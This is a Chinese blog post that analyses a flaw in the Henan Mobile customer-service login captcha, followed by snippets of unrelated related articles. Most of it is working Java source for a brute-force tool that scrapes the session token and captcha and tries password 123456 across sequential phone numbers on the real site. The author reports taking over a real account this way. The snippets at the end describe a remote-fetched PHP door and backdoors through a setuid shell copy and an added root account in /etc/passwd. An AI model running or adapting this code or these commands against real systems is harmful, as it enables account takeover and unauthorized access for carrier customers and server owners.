河南移动网络客服系统验证码的缺陷分析和利用!_漏洞研究

先声明哦 本文没有技术含量---只是为了证明java也可以作破解工具

  中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起.在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0~9.而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字.如此简单的密码组合非常适合暴力破解.

  我们来分析一下暴力破解的可行性.首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数.我试了十次,依然可以进入登录界面(yes~有戏).接下来,分析系统登录需要提交的关键字段.来看看登录页面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp

__________________________________________

.....................

<form method="post" name="thisform" 

//post 方式提交数据

...........

action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->

//处理登录事件的servlet 看来是它接收的参数.

    <input type="hidden" name="forwardFlag" value="0">

  //关键字段 forwardFlag 不知道什么用处,但多次刷新页面无改变     

<input type="hidden" name="transaction" value="3">

  // 关键字段 transaction 同上 

<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >

  //关键字段 ssRandomPass 每次刷新得到新的随机值,在页面无显示

  //可能是身份识别的隐含信息

......................

      //以下是用户提交的表单内容

<td><input type="text" name="userName" size="14"

      //呵呵 手机号

<td><input type="password" name="passWord" 

  //手机密码

<td><input name="randomPassword" type="text"

  //图片验证码

.......................................

___________________________________

综上得post内容为:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==

&userName=135********&passWord=******&randomPassword=****

passWord是我们要猜解的内容,如何锁定randomPassword(验证码)是关键.具体就是如何对图片验证码做解析.说到这里就不得不提一下,在没有验证码的时代,许多暴力破解软件非常流行,对于入侵大多数邮件服务器和论坛是非常行之有效的方法.也捧红了一批经典破解软件,如流光,溯雪.(呵呵,都是值得珍藏的文物)

  我们来看看这里的验证码是如何生成的右键单击验证码图片.哈哈,我们看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--这是不正是我们的验证码值吗?

我们访问com.huawei.icd30.wskf.console.ImageServlet应用改变randomPass的值为1111 呵呵,不出所料生成了数值为1111的图片.由此可见,登录验证程序和验证码的生成是两个应用.由返回的登录页面传递参数请求com.huawei.icd30.wskf.console.ImageServlet生成验证码.

到这里我们的分析工作就算完成了.如何用程序实现暴力破解没有技术难度.我写了一个java版的application win2000下编译测试成功,效仿一些QQ破解模式,密码为123456,不断变换猜解手机号,10分钟不到就找到了一个密码为123456的用户. 

******本代码只做研究,对于该程序可能造成的后果本人概不负责********

源代码如下:

--------------

import java.net.*;

import java.io.*;

public class Result

{

public static String ssRandomPass,randomPassword;

public static int passWord=123456,num=00000;

//设置六位手机密码和手机后五位号码

public static void main(String args[]){

while(true)

{

    check();

//该函数捕获登录页面关键字段

    try {

    URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;

    URLConnection connection = url.openConnection();

    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

    out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=

135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//这里组织提交信息

    out.flush();

    out.close();

    //获取返回数据

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));

    String line = null;

    StringBuffer content= new StringBuffer();

    while((line = in.readLine()) != null)

   {

         //line为返回值,这就可以判断是否成功、

      content.append(line);

   }

   in.close() ;

   in=null;

   url=null;

   String msg = content.toString();

   System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);

   System.err.println("check num:135256"+num);

   if(msg.length()==412|num==99999)

   {

     System.err.println("Get one phonenumber");  

           System.err.println(msg);

    break;

   }

      // passWord++;

       num++;

} catch (MalformedURLException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (UnsupportedEncodingException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public static void check()

{

        StringBuffer ssR = new StringBuffer();

        StringBuffer rand = new StringBuffer();

         try {

    URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");

    URLConnection connection = url.openConnection();

    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

    out.write("?");

    out.flush();

    out.close();

    //获取返回数据

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));

    String line = null;

    StringBuffer content= new StringBuffer();

    while((line = in.readLine()) != null)

   {

         //line为返回值,这就可以判断是否成功、

      content.append(line);

   }

   in.close() ;

   in=null;

   url=null;

   String msg = content.toString();

   for (int i=0;i<=23;i++)

   ssR.append(msg.charAt(1534+i));

   ssRandomPass=ssR.toString();

   System.err.println(ssR.toString());

   for (int i=0;i<=3;i++)

   rand.append(msg.charAt(2492+i));

   randomPassword=rand.toString();

   System.err.println(rand.toString());

   

   //System.err.println(msg);

   } catch (MalformedURLException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (UnsupportedEncodingException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

时间: 2024-09-21 12:59:21

河南移动网络客服系统验证码的缺陷分析和利用!_漏洞研究的相关文章

PollVote投票系统漏洞利用_漏洞研究

PollVote是一个投票系统,今天看了非安全的杂志,看了利用方法,  不过作者说利用过程的时候很烦琐,关键的时候又没说明白,  简单的说一下``  首先建立2个文本 分别是creatfile.txt和phpdoor.txt  creatfile.txt内容写  <?  $f=file_get_contents("http://www.hackeroo.com/phpdoor.txt");  $ff=fopen("111.php","a")

系统后门手法和日志的擦除_漏洞研究

好不容易搞了台服务器很不容易,如果被发现了就没了!可惜啊! 其实,开后门的方法有很多种 1. setuid  #cp /bin/sh /tmp/.sh #chmod u+s /tmp/.sh 加上 suid 位到shell上,虽然很简单,但容易被发现  2. echo "hack::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令. 但管理员很快就可以发现哦! 3.echo "++"

网站客服系统的发展趋势

网络营销的时代已经来临,相对于传统营销来说,是营销的另一个分支,而且这一分支将以爆炸式的速度向前发展,由于大型企业具有国际眼光,基本上都实现了网络营销的跨越,而中国是一个拥有2300万中小企业的经济大国,其中只有约300万中小企业或多或少的在实施网络营销,中国人口众多,网民数量截至到2009年12月已经达到2.23亿,稳居世界首位,中国的互联网市场将极大的促进整个互联网产业的飞速发展. 网络营销具有成本低,传播快,范围广,无时间空间限制等特点,这就是互联网的优势,然而很多中国的中小企业对网络营销

客服系统部署云计算解决方案与实践

客服系统部署云计算解决方案与实践 崔忻    王新宇 客服系统目前面临着成本高.维护难的问题.文章采用桌面虚拟化(Virtual Desktop Infrastructure,VDI)技术,提出了客服系统虚拟化的技术方案及实施策略,该方案将不同桌面用户的计算机硬件.操作系统.用户配置文件和应用分离,使最终用户可以通过网络随时随地访问各自的桌面工作环境.实践表明,虚拟化客服可大幅降低能耗,改善坐席环境. 客服系统部署云计算解决方案与实践

电商在线客服系统解决方案

中介交易 SEO诊断 淘宝客 云主机 技术大厅 随着互联网技术的不断普及,越来越多的企业开始向电子商务迈进,淘宝双11的疯狂,191亿的销售额都印证了这一切.正如马云所说:"十年之后中国将没有电子商务,理由是电子商务将彻底地融入到所有企业的血液当中,成为企业日常运作的一部分."然而电子商务目前还远未进入成熟期,一些企业只是单纯模仿或者盲目投入,很难实现电子商务的真正威力. 那么如何通过在线客服系统来提升企业电子商务运营能力,帮助企业实际提高在线销售额?我们通过企业电商化过程实际遇到的一

如何打造一支优秀的网络客服团队?

在网络购物过程中,客服团队的公关能力会直接影响到购物平台的转化率,客服人员是否能够积极迅速的对客户的声音作出反应,会直接影响客户的购物情绪,口口相传的力量会对网站的口碑造成致命的影响.     调查数据显示,消费者对网站平台购物的满意度与客服人员的服务态度挂钩,因服务原因造成的消费差评及纠纷现象占到了一半以上.如何建设好网站的客服团队,让他们与消费者之间进行良好的互动?     我们知道,一旦出现消费纠纷,客服人员能够第一时间处理,从授理纠纷到询察实情再到反馈处理,整个流程完成的越快越好,超过特

群英将推国内首款免费高品质在线客服系统

中介交易 SEO诊断 淘宝客 云主机 技术大厅 随着电子商务的发展成熟,企业开展网络营销的思路也正逐渐清晰.利用互联网层出不穷的营销手段,在提升网站访问流量之余,变流量为销量才是网络营销成功的关键.针对网络营销是以消费者为主导.具有双向交互性的特点,在线客服对于企业开展网络营销的作用日益凸显. 作为基础级应用软件,在线客服已经深入到网络营销的各个环节.日渐精细化的营销业务要求企业在售前服务.访客咨询.轨迹跟踪.效果评估.售后服务.访客关系维护等环节都有高效精准的工作质量,这意味着,企业对在线客服

经济危机,从传统客服到网络客服

2009年,全球进入百年以来最寒酷的经济冬天,很多企业出现收益下降.减薪.裁员等现象.面对此番光景,对CIO最大的考验是IT预算要减少,但工作业绩却不能缩水.因此,CIO在经济危机之下,必须要寻找既能削减IT成本,又能给业务带来直接帮助的新途径. 随着互联网的广泛使用,客户借助网络寻求服务也越来越成为趋势.因此,CIO应要意识到要通过网络提高客户服务质量,提供更多的互动式服务将是应对经济危机的一条新出路.互动式网络服务是提供一种创新的服务渠道,而不只是传统客户服务的一种便宜替代方式. 一.经济危

如何利用客服系统提交网站转化率

中介交易 SEO诊断 淘宝客 云主机 技术大厅 笔者昨晚在浏览一个网站,因为该网站客服系统的原因,无法正常浏览自己需要的图片,而且,网页的中央有一个JS调用的客服图片,正好把那张想看的图片遮住了大部分,怎样移动都无法看到全图. 那个客服图片,上面没有关闭按钮,只有"联络客服"和"稍后再说",点击了一下"稍后再说",这"稍后"不知道是什么概念了,没一秒的时间,客服图片又跳回来,这样就没有选择的余地了,只能看网页代码找出图片地址,